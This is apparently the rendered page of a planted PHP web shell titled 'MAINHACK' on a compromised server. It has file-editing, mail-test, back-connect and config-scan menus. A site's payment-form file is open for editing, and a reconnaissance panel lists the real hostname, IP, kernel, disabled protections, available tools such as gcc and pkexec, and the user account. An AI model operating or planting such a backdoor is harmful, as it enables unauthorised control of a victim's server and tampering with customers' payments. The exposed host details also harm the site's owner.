[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: api.php
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Payment Form</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet"> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js"></script> </head> <body class="bg-light"> <div class="container mt-5"> <div class="card shadow-sm p-4"> <h3 class="mb-3">Make a Payment</h3> <form id="paymentForm"> <div class="mb-3"> <label class="form-label">Amount (GHS)</label> <input type="number" name="amount" class="form-control" required> </div> <div class="mb-3"> <label class="form-label">Payment Method</label> <select name="payment_method" class="form-control" required> <option value="">-- Select Method --</option> <option value="MOMO">Mobile Money</option> <option value="CARD">Card</option> </select> </div> <button type="submit" class="btn btn-primary w-100" id="submitBtn">Pay Now</button> </form> </div> </div> <script> document.getElementById('paymentForm').addEventListener('submit', async function(e) { e.preventDefault(); let formData = new FormData(this); let submitBtn = document.getElementById('submitBtn'); submitBtn.disabled = true; submitBtn.innerText = "Processing..."; try { let response = await fetch("init-payment.php", { method: "POST", body: formData }); let result = await response.json(); if (!result.error && result.redirect) { window.location.href = result.redirect; // 🚀 instant redirect to Access Bank } else { alert("Error: " + result.message); submitBtn.disabled = false; submitBtn.innerText = "Pay Now"; } } catch (error) { alert("Network error: " + error); submitBtn.disabled = false; submitBtn.innerText = "Pay Now"; } }); </script> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002